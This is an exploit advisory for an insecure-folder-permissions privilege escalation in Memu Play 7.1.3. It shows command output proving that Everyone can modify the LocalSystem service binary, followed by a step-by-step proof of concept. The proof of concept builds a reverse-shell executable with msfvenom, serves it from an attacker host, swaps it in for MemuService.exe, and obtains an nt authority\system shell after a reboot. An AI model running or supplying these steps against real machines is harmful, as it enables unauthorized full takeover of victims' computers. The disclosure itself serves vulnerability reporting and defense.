Memu Play 7.1.3 Insecure Folder Permissions

Memu Play version 7.1.3 suffers from an insecure folder permissions vulnerability.


MD5 | f78440d9a85e66bb3afc9ade2072d4fa

# Exploit Title: Memu Play 7.1.3 - Insecure Folder Permissions
# Discovery by: chuyreds
# Discovery Date: 2020-03-08
# Vendor Homepage: https://www.memuplay.com/
# Software Link : https://www.memuplay.com/download-en.php?file_name=Memu-Setup&from=official_release
# Tested Version: 7.1.3
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

# Description:
# Memu Play 7.1.3 suffers from Privilege Escalation due to insecure file permissions

# Prerequisites
# Local, Low privilege access with restart capabilities

# Details
# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.
# A low privilege account is able to rename the MemuService.exe file located in this same path and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

C:\>icacls "C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe"
C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe Everyone:(I)(F)
BUILTIN\Administradores:(I)(F)
BUILTIN\Usuarios:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\TODOS LOS PAQUETES DE APLICACIÓN RESTRINGIDOS:(I)(RX)

Se procesaron correctamente 1 archivos; error al procesar 0 archivos


C:\>sc qc MEmuSVC
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: MEmuSVC
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: "C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe"
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : MEmuSVC
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

# Proof of Concept

1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.130 LPORT=443 -f exe > /var/www/html/MemuService.exe

2. Setup listener and ensure apache is running on attacking machine
nc -lvp 443
service apache2 start

3. Download malicious .exe on victim machine
Open browser to http://192.168.1.130/MemuService.exe and download

4. Overwrite file and copy malicious .exe.
Renename C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe > MemuService.bak
Copy/Move downloaded 'MemuService.exe' file to C:\Program Files (x86)\Microvirt\MEmu\

5. Restart victim machine

6. Reverse Shell on attacking machine opens
C:\Windows\system32>whoami
whoami
nt authority\system

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